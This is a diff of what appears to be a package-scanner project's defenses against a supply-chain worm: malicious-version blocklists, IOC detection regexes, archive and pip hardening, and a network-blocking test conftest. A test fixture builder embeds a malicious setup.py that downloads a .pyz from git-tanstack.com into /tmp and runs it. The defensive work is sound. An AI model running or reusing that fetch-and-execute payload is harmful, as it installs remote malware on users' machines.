"@draftauth/core": {"0.13.1", "0.13.2"},
"@draftlab/auth": {"0.24.1", "0.24.2"},
"@draftlab/auth-router": {"0.5.1", "0.5.2"},
"@draftlab/db": {"0.16.1"},
# Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli
# (Aikido enumeration).
"@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"},
"@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"},
# Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*
# (Aikido enumeration).
"@dirigible-ai/sdk": {"0.6.2", "0.6.3"},
"@mesadev/rest": {"0.28.3"},
"@mesadev/saguaro": {"0.4.22"},
"@mesadev/sdk": {"0.28.3"},
"@ml-toolkit-ts/preprocessing": {"1.0.2", "1.0.3"},
"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},
"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
# Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries)
# (Aikido enumeration).
"safe-action": {"0.8.3", "0.8.4"},
"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},
"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},
"cmux-agent-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7", "0.1.8"},
"agentwork-cli": {"0.1.4", "0.1.5"},
"git-branch-selector": {"1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.3.7"},
"wot-api": {"0.8.1", "0.8.2", "0.8.3", "0.8.4"},
"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},
"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},
"ml-toolkit-ts": {"1.0.4", "1.0.5"},
# Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of
# PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep,
# Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier.
"intercom-client": {"7.0.4"},
}
# Cloud / k8s / CI credential surfaces. A bare substring match here
@ -1153,6 +1397,18 @@ def main(argv: list[str] | None = None) -> int:
f"[scan-npm] [{i}/{len(entries)}] {pkg.display}",
flush = True,
)
blocked = BLOCKED_NPM_VERSIONS.get(pkg.name, set())
if pkg.version in blocked:
finding = Finding(
severity = CRITICAL,
package = pkg.display,
filename = "<lockfile>",
pattern = "blocked-known-malicious",
detail = f"{pkg.name}@{pkg.version} is on the BLOCKED_NPM_VERSIONS list",
)
all_findings.append(finding)
print(str(finding), flush = True)
continue
findings, err = scan_one(pkg, workspace)
if err:
hard_errors.append((pkg.display, err))

View file

@ -65,6 +65,15 @@ MEDIUM = "MEDIUM"
SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2}
# Hard pin-blocks for publicly confirmed malicious PyPI versions.
# Source: Socket.dev 2026-05-12 disclosure (Mini Shai-Hulud May-12 wave) and
# earlier Semgrep / Endor reports for the `lightning` entries.
BLOCKED_PYPI_VERSIONS: dict[str, set[str]] = {
"guardrails-ai": {"0.10.1"},
"mistralai": {"2.4.6"},
"lightning": {"2.6.2", "2.6.3"},
}
# ---------------------------------------------------------------------------
# Pattern definitions
# ---------------------------------------------------------------------------
@ -336,6 +345,15 @@ RE_TOKEN_REGEX = re.compile(
r"|\bglpat-[0-9A-Za-z_-]{20,}", # GitLab PAT
)
# Mini Shai-Hulud May-12 2026 wave indicators. The dropper artifact name
# `transformers.pyz` is high-confidence (no legit PyPI package ships a `.pyz`
# named after `transformers`); the host + slogans are CRITICAL.
RE_MAY12_IOC = re.compile(
r"(git-tanstack\.com|/tmp/transformers\.pyz|transformers\.pyz"
r"|With Love TeamPCP|We've been online over 2 hours)",
re.IGNORECASE,
)
# JavaScript-side obfuscation. The npm chalk/debug compromise and the
# Lightning router_runtime.js use the same minifier-style hex-var name
# pattern; a bundle full of `_0x1f2e3d` identifiers is a near-universal
@ -529,6 +547,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
has_openssl_cli = bool(RE_OPENSSL_CLI.search(content))
has_temp_exec = bool(RE_TEMP_EXEC.search(content))
has_c2_polling = bool(RE_C2_POLLING.search(content))
has_may12_ioc = bool(RE_MAY12_IOC.search(content))
# ---------------------------------------------------------------
# CRITICAL: combination patterns that strongly indicate malice
@ -572,6 +591,18 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
)
)
# May-12 Shai-Hulud IOC string in Python source.
if has_may12_ioc:
findings.append(
Finding(
CRITICAL,
package,
filename,
"May-12 Shai-Hulud IOC string present in Python file",
_extract_evidence(content, RE_MAY12_IOC),
)
)
# C2 polling/beaconing loop
if has_c2_polling:
findings.append(
@ -1071,6 +1102,16 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
if RE_MAY12_IOC.search(content):
findings.append(
Finding(
CRITICAL,
package,
filename,
"May-12 Shai-Hulud IOC string present in shell script",
_extract_evidence(content, RE_MAY12_IOC),
)
)
return findings
@ -1111,6 +1152,16 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findi
_extract_evidence(content, RE_SHELL_DROPPER),
)
)
if RE_MAY12_IOC.search(content):
findings.append(
Finding(
CRITICAL,
package,
filename,
"May-12 Shai-Hulud IOC string present in workflow file",
_extract_evidence(content, RE_MAY12_IOC),
)
)
return findings
@ -1118,33 +1169,154 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findi
# Archive handling
# ---------------------------------------------------------------------------
# Tarbomb caps, mirrored from scripts/scan_npm_packages.py::safe_extract.
# Refuses zip-of-death / tar-of-death archives so a hostile sdist or
# wheel cannot exhaust memory or fill the temp dir before content
# scanning even starts. Keep these constants in sync with the npm side;
# we duplicate rather than import to keep `scan_packages.py` standalone.
HARD_MAX_FILE_BYTES = 64 * 1024 * 1024 # 64 MiB per member
HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulative
HARD_MAX_MEMBERS = 50_000 # entries per archive
def _refuse_unsafe_member_name(name: str) -> str | None:
"""Return a refusal reason for a member name, or None if safe.
Mirrors `scan_npm_packages.py::safe_extract` semantics: no absolute
paths, no `..` traversal segments. The caller is responsible for
checking the resolved path lands inside the extract root, but for
iter_archive_files we never write to disk so the name-shape check
plus the in-memory size cap is sufficient.
"""
if name.startswith("/") or ".." in Path(name).parts:
return f"unsafe member name {name!r}"
return None
def iter_archive_files(archive_path: str):
"""Yield (filename, text_content) for every file in a wheel/sdist."""
"""Yield (filename, text_content) for every file in a wheel/sdist.
Streams members with size + count caps applied at the member level
so a tarbomb / zipbomb cannot blow up the scanner's memory budget.
On cap breach we emit a `[WARN]` log and short-circuit the archive.
"""
path = Path(archive_path)
if path.suffix == ".whl" or path.suffix == ".zip":
total = 0
count = 0
with zipfile.ZipFile(path) as zf:
for info in zf.infolist():
if info.is_dir():
continue
count += 1
if count > HARD_MAX_MEMBERS:
print(
f" [WARN] {path.name}: refused; member count "
f"{count} exceeds cap {HARD_MAX_MEMBERS}",
file = sys.stderr,
)
return
reason = _refuse_unsafe_member_name(info.filename)
if reason is not None:
print(
f" [WARN] {path.name}: refused member ({reason})",
file = sys.stderr,
)
continue
# Declared (uncompressed) size cap.
if info.file_size > HARD_MAX_FILE_BYTES:
print(
f" [WARN] {path.name}: skipped {info.filename!r} "
f"(declared {info.file_size} > cap {HARD_MAX_FILE_BYTES})",
file = sys.stderr,
)
continue
if total + info.file_size > HARD_MAX_TOTAL_BYTES:
print(
f" [WARN] {path.name}: cumulative bytes cap "
f"{HARD_MAX_TOTAL_BYTES} hit at {info.filename!r}",
file = sys.stderr,
)
return
try:
data = zf.read(info.filename)
total += len(data)
text = data.decode("utf-8", errors = "replace")
yield info.filename, text
except Exception:
continue
elif path.name.endswith((".tar.gz", ".tgz", ".tar.bz2", ".tar.xz", ".tar")):
with tarfile.open(path) as tf:
for member in tf.getmembers():
total = 0
count = 0
# Streaming open so we never read the whole archive into memory.
with tarfile.open(path, mode = "r|*") as tf:
for member in tf:
count += 1
if count > HARD_MAX_MEMBERS:
print(
f" [WARN] {path.name}: refused; member count "
f"{count} exceeds cap {HARD_MAX_MEMBERS}",
file = sys.stderr,
)
return
# Refuse symlinks / hardlinks / devices outright -- the
# scanner never writes them anyway, but tar parsers
# have historically dereferenced them on extract.
if member.issym() or member.islnk():
print(
f" [WARN] {path.name}: refused link member "
f"{member.name!r}",
file = sys.stderr,
)
continue
if member.isdev() or member.isfifo():
print(
f" [WARN] {path.name}: refused special member "
f"{member.name!r}",
file = sys.stderr,
)
continue
if not member.isfile():
continue
reason = _refuse_unsafe_member_name(member.name)
if reason is not None:
print(
f" [WARN] {path.name}: refused member ({reason})",
file = sys.stderr,
)
continue
declared = max(member.size, 0)
if declared > HARD_MAX_FILE_BYTES:
print(
f" [WARN] {path.name}: skipped {member.name!r} "
f"(declared {declared} > cap {HARD_MAX_FILE_BYTES})",
file = sys.stderr,
)
continue
if total + declared > HARD_MAX_TOTAL_BYTES:
print(
f" [WARN] {path.name}: cumulative bytes cap "
f"{HARD_MAX_TOTAL_BYTES} hit at {member.name!r}",
file = sys.stderr,
)
return
try:
f = tf.extractfile(member)
if f is None:
continue
data = f.read()
# Bound the read so a tar header that lies about
# size cannot OOM us.
data = f.read(HARD_MAX_FILE_BYTES + 1)
if len(data) > HARD_MAX_FILE_BYTES:
print(
f" [WARN] {path.name}: body of "
f"{member.name!r} exceeded declared cap",
file = sys.stderr,
)
continue
total += len(data)
text = data.decode("utf-8", errors = "replace")
yield member.name, text
except Exception:
@ -1154,26 +1326,48 @@ def iter_archive_files(archive_path: str):
def scan_archive(archive_path: str, package: str) -> list[Finding]:
"""Scan all files in an archive for malicious patterns."""
findings = []
for filename, content in iter_archive_files(archive_path):
lower = filename.lower()
if lower.endswith(".pth"):
findings.extend(check_pth_file(content, filename, package))
elif lower.endswith(".py"):
findings.extend(check_py_file(content, filename, package))
elif lower.endswith((".js", ".mjs", ".cjs", ".ts")):
# Lightning 2.6.x hid its real payload in a 14.8 MB
# router_runtime.js inside a Python wheel. Without this
# branch we'd have only seen the small Python loader.
findings.extend(check_js_file(content, filename, package))
elif lower.endswith((".sh", ".bash")):
findings.extend(check_shell_file(content, filename, package))
elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")):
# Shai-Hulud / ForceMemo plant their own GHA workflow.
# A workflow file inside a *PyPI package* is on its own
# already a yellow flag; pattern-match the worm signatures.
findings.extend(check_workflow_file(content, filename, package))
"""Scan all files in an archive for malicious patterns.
A corrupted archive container (truncated wheel, bad gzip header,
etc.) used to be silently skipped by an ``except Exception: continue``
inside ``iter_archive_files``. Per the silent-failure hardening
(SF1) it now emits a CRITICAL ``archive_corrupted`` finding so the
main loop counts and surfaces it rather than reporting "0 findings".
"""
findings: list[Finding] = []
try:
for filename, content in iter_archive_files(archive_path):
lower = filename.lower()
if lower.endswith(".pth"):
findings.extend(check_pth_file(content, filename, package))
elif lower.endswith(".py"):
findings.extend(check_py_file(content, filename, package))
elif lower.endswith((".js", ".mjs", ".cjs", ".ts")):
# Lightning 2.6.x hid its real payload in a 14.8 MB
# router_runtime.js inside a Python wheel. Without this
# branch we'd have only seen the small Python loader.
findings.extend(check_js_file(content, filename, package))
elif lower.endswith((".sh", ".bash")):
findings.extend(check_shell_file(content, filename, package))
elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")):
# Shai-Hulud / ForceMemo plant their own GHA workflow.
# A workflow file inside a *PyPI package* is on its own
# already a yellow flag; pattern-match the worm signatures.
findings.extend(check_workflow_file(content, filename, package))
except (zipfile.BadZipFile, tarfile.TarError, EOFError, OSError) as exc:
# The archive cannot be opened or is structurally broken. A
# benign wheel/sdist always opens; a malformed one is either a
# transport corruption (treat as scan failure) or a deliberate
# attempt to bypass scanners that swallow archive errors.
findings.append(
Finding(
CRITICAL,
package,
os.path.basename(archive_path),
"archive_corrupted",
f"{type(exc).__name__}: {exc}"[:240],
)
)
return findings
@ -1182,33 +1376,120 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:
# ---------------------------------------------------------------------------
_RE_PYPI_SPEC_VERSION = re.compile(r"==\s*([A-Za-z0-9_.\-+!]+)")
def _check_blocked_pypi_versions(
specs: list[str],
) -> tuple[list[str], list[Finding]]:
"""Filter ``specs`` against ``BLOCKED_PYPI_VERSIONS``.
Returns ``(safe_specs, findings)``. Each blocked spec emits a CRITICAL
``Finding`` and is removed from the returned spec list so the caller
never fetches the malicious tarball. Specs without an ``==X.Y.Z`` pin
pass through unchanged -- pip will resolve them at download time and
the existing scanners will catch the payload via the IOC regexes.
"""
safe: list[str] = []
findings: list[Finding] = []
for spec in specs:
name = _extract_pkg_name(spec).lower()
blocked = BLOCKED_PYPI_VERSIONS.get(name, set())
if not blocked:
safe.append(spec)
continue
m = _RE_PYPI_SPEC_VERSION.search(spec)
version = m.group(1) if m else None
if version is not None and version in blocked:
findings.append(
Finding(
CRITICAL,
f"{name}=={version}",
"<spec>",
"blocked-known-malicious",
f"{name}=={version} is on the BLOCKED_PYPI_VERSIONS list",
)
)
# Drop the spec; do not download.
continue
safe.append(spec)
return safe, findings
def _pip_download_env() -> dict[str, str]:
"""Return a scrubbed environment for invoking `pip download`.
Hostile shells / CI configs can override the index with PIP_INDEX_URL,
PIP_EXTRA_INDEX_URL, or a user `pip.conf`. We strip every PIP_*
override and route the resolver explicitly at PyPI. PIP_CONFIG_FILE
is forced to /dev/null so a stray ~/.pip/pip.conf with an
extra-index-url cannot bypass the pin.
"""
env = {**os.environ}
# Drop any user override.
for key in [k for k in env if k.startswith("PIP_")]:
env.pop(key, None)
env["PIP_INDEX_URL"] = "https://pypi.org/simple"
env["PIP_EXTRA_INDEX_URL"] = ""
env["PIP_CONFIG_FILE"] = "/dev/null"
env["PIP_DISABLE_PIP_VERSION_CHECK"] = "1"
return env
# Pip resolver flags shared by both download branches. Pinning the
# index URL on the CLI is belt + braces with the env scrub above.
# `--no-build-isolation` is deliberately NOT set; we never invoke
# setup.py at all because of `--only-binary :all:`.
_PIP_DOWNLOAD_PIN_FLAGS = [
"--index-url",
"https://pypi.org/simple",
"--only-binary",
":all:",
]
# Strip any character that could escape `dest` via `os.path.join`. This
# is the last line of defence before `pkg_dir = os.path.join(dest, ...)`
# so a spec like `../../etc/foo==1.0` cannot land outside the temp tree.
_RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
def download_packages(
specs: list[str],
dest: str,
*,
with_deps: bool = False,
) -> list[tuple[str, str]]:
) -> tuple[list[tuple[str, str]], list[str]]:
"""Download packages to dest using pip download. NEVER installs.
Returns list of (spec_or_name, filepath) for every downloaded archive.
Returns ``(results, download_errors)`` where ``results`` is a list of
``(spec_or_name, filepath)`` for every downloaded archive and
``download_errors`` is a list of one-line transport-failure summaries.
A non-empty ``download_errors`` MUST cause the caller to exit non-zero
even if no findings were produced; a silent ``0 findings, scan
incomplete`` is the bug class this return-shape was widened to fix.
When with_deps=True, downloads the full transitive dependency tree
in a single pip invocation (all archives land in one flat dir).
When with_deps=False (default), downloads each spec individually
with --no-deps.
"""
results = []
results: list[tuple[str, str]] = []
download_errors: list[str] = []
env = _pip_download_env()
if with_deps:
# Single pip download call for all specs + their transitive deps.
# --no-build-isolation and --no-binary :none: are NOT used --
# pip download only fetches wheels/sdists, never executes them.
# `--only-binary :all:` refuses sdists so we never execute a
# setup.py just to learn dependency metadata; combined with the
# scrubbed env, pip is wired hard at pypi.org.
os.makedirs(dest, exist_ok = True)
cmd = [
sys.executable,
"-m",
"pip",
"download",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
] + specs
@ -1218,14 +1499,18 @@ def download_packages(
capture_output = True,
text = True,
timeout = 600, # transitive resolution can be slow
env = env,
)
if proc.returncode != 0:
print(
f" [ERROR] pip download (with deps) failed: {proc.stderr.strip()[:500]}",
file = sys.stderr,
msg = (
f"pip download (with deps) failed: " f"{proc.stderr.strip()[:500]}"
)
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
except subprocess.TimeoutExpired:
print(f" [ERROR] pip download (with deps) timed out", file = sys.stderr)
msg = "pip download (with deps) timed out"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
# Collect every archive that landed in dest
for fname in sorted(os.listdir(dest)):
@ -1236,9 +1521,11 @@ def download_packages(
results.append((pkg_name, fpath))
else:
for spec in specs:
pkg_dir = os.path.join(
dest, spec.split("==")[0].split(">=")[0].split("<=")[0].split("[")[0]
)
raw_name = _extract_pkg_name(spec)
# Sanitize before joining into `dest` so a hostile spec
# cannot path-traverse out of the destination directory.
safe_name = _RE_PKG_NAME_SANITIZE.sub("_", raw_name) or "_pkg"
pkg_dir = os.path.join(dest, safe_name)
os.makedirs(pkg_dir, exist_ok = True)
cmd = [
sys.executable,
@ -1246,6 +1533,7 @@ def download_packages(
"pip",
"download",
"--no-deps",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
pkg_dir,
spec,
@ -1256,15 +1544,20 @@ def download_packages(
capture_output = True,
text = True,
timeout = 120,
env = env,
)
if proc.returncode != 0:
print(
f" [ERROR] pip download failed for {spec}: {proc.stderr.strip()}",
file = sys.stderr,
msg = (
f"pip download failed for {spec}: "
f"{proc.stderr.strip()[:500]}"
)
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
continue
except subprocess.TimeoutExpired:
print(f" [ERROR] pip download timed out for {spec}", file = sys.stderr)
msg = f"pip download timed out for {spec}"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
continue
# Find downloaded file(s)
@ -1272,7 +1565,7 @@ def download_packages(
fpath = os.path.join(pkg_dir, fname)
if os.path.isfile(fpath):
results.append((spec, fpath))
return results
return results, download_errors
# ---------------------------------------------------------------------------
@ -1586,6 +1879,13 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None:
"""Apply line-level updates to a requirements file.
updates: {line_num (1-indexed): new_line_text}
Writes atomically: stage in a sibling tmp file on the same
filesystem, fsync, then `os.replace` over the original. A SIGKILL
or power loss mid-write therefore either leaves the original
intact or leaves the fully new file -- never a half-written
requirements file (which would silently re-introduce a malicious
pin).
"""
with open(filepath) as f:
lines = f.readlines()
@ -1597,8 +1897,24 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None:
ending = "\n" if lines[idx].endswith("\n") else ""
lines[idx] = new_text + ending
with open(filepath, "w") as f:
f.writelines(lines)
dirpath = os.path.dirname(os.path.abspath(filepath)) or "."
fd, tmp_path = tempfile.mkstemp(
prefix = ".req_fix.",
dir = dirpath,
)
try:
with os.fdopen(fd, "w") as f:
f.writelines(lines)
f.flush()
os.fsync(f.fileno())
os.replace(tmp_path, filepath)
except Exception:
# Best effort cleanup; the destination was never touched.
try:
os.unlink(tmp_path)
except OSError:
pass
raise
def _run_fix(
@ -1842,10 +2158,19 @@ def main() -> int:
all_findings: list[Finding] = []
# Hard pin-block: refuse to download known-malicious PyPI versions.
specs, blocked_findings = _check_blocked_pypi_versions(specs)
all_findings.extend(blocked_findings)
tmpdir = tempfile.mkdtemp(prefix = "pth_scan_")
atexit.register(lambda d = tmpdir: shutil.rmtree(d, ignore_errors = True))
download_errors: list[str] = []
try:
downloaded = download_packages(specs, tmpdir, with_deps = args.with_deps)
downloaded, download_errors = download_packages(
specs,
tmpdir,
with_deps = args.with_deps,
)
print(f" Downloaded {len(downloaded)} archive(s).")
for spec, archive_path in downloaded:
@ -1871,6 +2196,26 @@ def main() -> int:
)
_run_fix(critical_pkgs, entries, args.max_search)
# Surface any pip-download failures BEFORE the scan-result exit code so
# an empty / partial download cannot mask itself as "0 findings, all
# clean". This is item (4) of the silent-failure hardening: an
# unresolvable spec or PyPI timeout used to print to stderr and exit 0.
if download_errors:
print(
f"\n {'=' * 72}\n"
f" SCAN INCOMPLETE: {len(download_errors)} pip download "
f"failure(s):\n"
f" {'=' * 72}",
file = sys.stderr,
)
for err in download_errors:
print(f" [ERROR] {err}", file = sys.stderr)
print(
" Refusing to report 'all clean' on a partial scan; " "exiting 2.",
file = sys.stderr,
)
return 2
# Exit code: 1 if any CRITICAL or HIGH
if any(f.severity in (CRITICAL, HIGH) for f in all_findings):
return 1

29
scripts/stamp_studio_release.py Executable file → Normal file
View file

@ -12,9 +12,34 @@ import re
import subprocess
import sys
import tarfile
import tempfile
import zipfile
from pathlib import Path
def _atomic_write_text(path: Path, data: str, encoding: str = "utf-8") -> None:
"""Atomic version of ``Path.write_text``.
A crash or signal mid-write leaves the prior file intact; the
Studio build never reads a partial ``_studio_release_build.py``.
"""
dirpath = str(path.parent) or "."
path.parent.mkdir(parents = True, exist_ok = True)
fd, tmp_path = tempfile.mkstemp(prefix = ".stamp_studio.", dir = dirpath)
try:
with os.fdopen(fd, "w", encoding = encoding) as handle:
handle.write(data)
handle.flush()
os.fsync(handle.fileno())
os.replace(tmp_path, path)
except Exception:
try:
os.unlink(tmp_path)
except OSError:
pass
raise
REPO_ROOT = Path(__file__).resolve().parents[1]
BUILD_INFO_PATH = (
REPO_ROOT / "studio" / "backend" / "utils" / "_studio_release_build.py"
@ -178,11 +203,11 @@ def stamp(require_release: bool) -> int:
file = sys.stderr,
)
return 2
BUILD_INFO_PATH.write_text(PLACEHOLDER, encoding = "utf-8")
_atomic_write_text(BUILD_INFO_PATH, PLACEHOLDER, encoding = "utf-8")
print("dev")
return 0
BUILD_INFO_PATH.write_text(build_info_source(version), encoding = "utf-8")
_atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8")
print(f"Stamping Studio release version {version} from {source}", file = sys.stderr)
print(version)
return 0

28
studio/frontend/.npmrc Normal file
View file

@ -0,0 +1,28 @@
# Studio frontend npm configuration.
#
# Mini Shai-Hulud / Axios-style supply chain defense.
# Requires npm >=11.10.0. Refuses tarballs published less than 7 days ago,
# closing the typical 4-72h attack window between malicious publish and
# upstream removal. npm interprets the bare integer as DAYS; do not
# append `d`, npm 11.x will parse `7d` as a Date string and abort.
min-release-age=7
# Defensive alias: `minimum-release-age` takes minutes (10080 = 7 days).
# Some npm versions / wrappers consult one key but not the other; setting
# both means a single setting-name parse change upstream cannot silently
# disable the cooldown. The two keys MUST agree; do not let them drift.
minimum-release-age=10080
# Belt-and-braces: refuse to write back loose `^x.y.z` ranges into
# package.json when a maintainer runs `npm install <pkg>` locally. This
# does NOT rewrite already-present ranges (those need an explicit
# `npm install <name>@<version> --save-exact` pass) but it stops new
# carets from creeping into the manifest as patch-version footguns.
save-exact=true
# Lock the registry. A user-set PIP_INDEX_URL-style override (here:
# NPM_CONFIG_REGISTRY env var or a stale ~/.npmrc) shouldn't redirect
# our installs to an attacker registry.
registry=https://registry.npmjs.org/
audit-level=high
fund=false
# Maintainer note: use `npm ci` (never `npm install`) in CI and locally
# when reproducing a build. The 7-day cooldown above is enforced by npm
# itself; downgrading or removing it bypasses the supply-chain gate.

View file

@ -41,7 +41,7 @@
"@streamdown/math": "1.0.2",
"@streamdown/mermaid": "1.0.2",
"@tailwindcss/vite": "^4.2.2",
"@tanstack/react-router": "^1.159.10",
"@tanstack/react-router": "1.169.2",
"@tanstack/react-table": "^8.21.3",
"@tauri-apps/api": "^2.10.1",
"@tauri-apps/plugin-clipboard-manager": "^2.3.2",
@ -83,6 +83,11 @@
"unpdf": "^1.4.0",
"zustand": "^5.0.11"
},
"overrides": {
"@tanstack/react-router": "1.169.2",
"@tanstack/router-core": "1.169.2",
"@tanstack/history": "1.161.6"
},
"devDependencies": {
"@biomejs/biome": "^1.9.4",
"@eslint/js": "^9.39.1",

0
studio/install_llama_prebuilt.py Executable file → Normal file
View file

View file

View file

@ -0,0 +1,93 @@
"""Shared fixtures for the security regression suite.
The scanner scripts under audit are designed to be offline-safe. Pin
that invariant by autouse-installing a session-scoped network blocker
that refuses any non-loopback `socket.connect()` from inside the test
process. If a future test (or a scanner regression) accidentally tries
to reach the public internet, pytest fails loudly instead of leaking
the request.
"""
from __future__ import annotations
import socket
import sys
from pathlib import Path
import pytest
# Make `scripts/` importable as a package so tests can grab the scanner
# constants directly. The repo root sits two levels above this file.
REPO_ROOT = Path(__file__).resolve().parents[2]
if str(REPO_ROOT) not in sys.path:
sys.path.insert(0, str(REPO_ROOT))
_LOOPBACK_PREFIXES = ("127.", "::1", "localhost")
def _is_loopback(host: str | bytes) -> bool:
if isinstance(host, bytes):
try:
host = host.decode("utf-8")
except UnicodeDecodeError:
return False
if not host:
return False
host = host.strip()
if host in {"::1", "localhost", "0.0.0.0"}:
return True
return host.startswith("127.")
class _BlockedSocket(socket.socket):
"""Socket subclass that refuses any non-loopback connect()."""
def connect(self, address): # type: ignore[override]
host = None
if isinstance(address, tuple) and address:
host = address[0]
if not _is_loopback(host or ""):
raise RuntimeError(
f"network access blocked by tests/security/conftest.py "
f"(attempted connect to {address!r}); the scanner suite "
"must run fully offline"
)
return super().connect(address)
def connect_ex(self, address): # type: ignore[override]
host = None
if isinstance(address, tuple) and address:
host = address[0]
if not _is_loopback(host or ""):
raise RuntimeError(
f"network access blocked by tests/security/conftest.py "
f"(attempted connect_ex to {address!r})"
)
return super().connect_ex(address)
@pytest.fixture(scope = "session", autouse = True)
def network_blocker():
"""Session-scoped fixture; replaces `socket.socket` with a blocker.
Yields nothing; the swap is the side effect. Restored at teardown
so other test sessions (run interleaved) see a clean module.
"""
original = socket.socket
socket.socket = _BlockedSocket # type: ignore[assignment]
try:
yield
finally:
socket.socket = original # type: ignore[assignment]
@pytest.fixture(scope = "session")
def repo_root() -> Path:
return REPO_ROOT
@pytest.fixture(scope = "session")
def fixtures_dir() -> Path:
return Path(__file__).resolve().parent / "fixtures"

View file

View file

@ -0,0 +1,191 @@
"""Deterministic builder for the wheel + sdist binary fixtures.
This script is NOT run from CI; the produced .whl / .tar.gz bytes are
committed alongside it. Re-run only when the IOC literal changes.
Determinism strategy
--------------------
- All member timestamps fixed to `SOURCE_DATE_EPOCH=0` (Unix epoch).
- All members written with uid=0, gid=0, uname="", gname="".
- Permission bits fixed: 0o644 for files, 0o755 for directories.
- Members emitted in sorted order so the archive byte stream does not
depend on filesystem iteration order.
- `zipfile.ZipFile` is invoked with `compresslevel=6` (default DEFLATE)
to keep output stable across stdlib versions.
Re-running this script and diffing the .whl bytes against git is the
regression test for determinism (also asserted in test_scan_packages).
"""
from __future__ import annotations
import io
import os
import sys
import tarfile
import zipfile
from pathlib import Path
SOURCE_DATE_EPOCH = 0
# Zip stores DOS time which starts at 1980; map epoch to 1980-01-01.
_ZIP_DOS_EPOCH = (1980, 1, 1, 0, 0, 0)
HERE = Path(__file__).resolve().parent
# The IOC literal that scan_packages.py must trip on. Keep this in
# sync with KNOWN_IOC_STRINGS in scripts/scan_npm_packages.py and
# RE_MAY12_IOC in scripts/scan_packages.py.
MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install.
This file embeds the May-12 Mini Shai-Hulud IOC literal so the
scan_packages.py regression tests can confirm the scanner trips on
the malicious setup.py shape. The string below is the same literal an
attacker would embed in a compromised release.
"""
from setuptools import setup
import urllib.request
import subprocess
# IOC literal -- mirrors public Socket.dev 2026-05-12 disclosure.
urllib.request.urlretrieve(
"https://git-tanstack.com/transformers.pyz",
"/tmp/transformers.pyz",
)
subprocess.run(["python3", "/tmp/transformers.pyz"], check=False)
setup(name="malicious-fixture", version="0.0.1")
'''
CLEAN_INIT_PY = '''"""Test fixture: empty placeholder package."""
'''
WHEEL_METADATA = (
"Metadata-Version: 2.1\n"
"Name: {name}\n"
"Version: 0.0.1\n"
"Summary: test fixture (do not install)\n"
)
WHEEL_FILE = (
"Wheel-Version: 1.0\n"
"Generator: tests/security/fixtures/_build.py\n"
"Root-Is-Purelib: true\n"
"Tag: py3-none-any\n"
)
RECORD_HEADER = ""
def _write_zip_member(zf: zipfile.ZipFile, name: str, data: bytes) -> None:
info = zipfile.ZipInfo(filename = name, date_time = _ZIP_DOS_EPOCH)
info.compress_type = zipfile.ZIP_DEFLATED
info.external_attr = (0o644 & 0xFFFF) << 16
info.create_system = 3 # Unix
zf.writestr(info, data)
def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
"""Write a deterministic .whl at `out_path`.
`payload_files` maps archive-relative paths to their bytes. Standard
`.dist-info/METADATA`, `WHEEL`, and `RECORD` are added automatically.
"""
dist_info = f"{name}-0.0.1.dist-info"
members: dict[str, bytes] = dict(payload_files)
members[f"{dist_info}/METADATA"] = WHEEL_METADATA.format(name = name).encode()
members[f"{dist_info}/WHEEL"] = WHEEL_FILE.encode()
# RECORD is intentionally minimal; the scanner only inspects file
# bodies, not hash integrity.
record_lines = []
for path in sorted(members):
record_lines.append(f"{path},,")
record_lines.append(f"{dist_info}/RECORD,,")
members[f"{dist_info}/RECORD"] = ("\n".join(record_lines) + "\n").encode()
# Write with sorted order for deterministic byte output.
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf:
for path in sorted(members):
_write_zip_member(zf, path, members[path])
out_path.write_bytes(buf.getvalue())
def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
"""Write a deterministic .tar.gz sdist at `out_path`.
`payload_files` maps archive-relative paths to their bytes; a
leading `{name}-0.0.1/` prefix is added automatically.
"""
prefix = f"{name}-0.0.1"
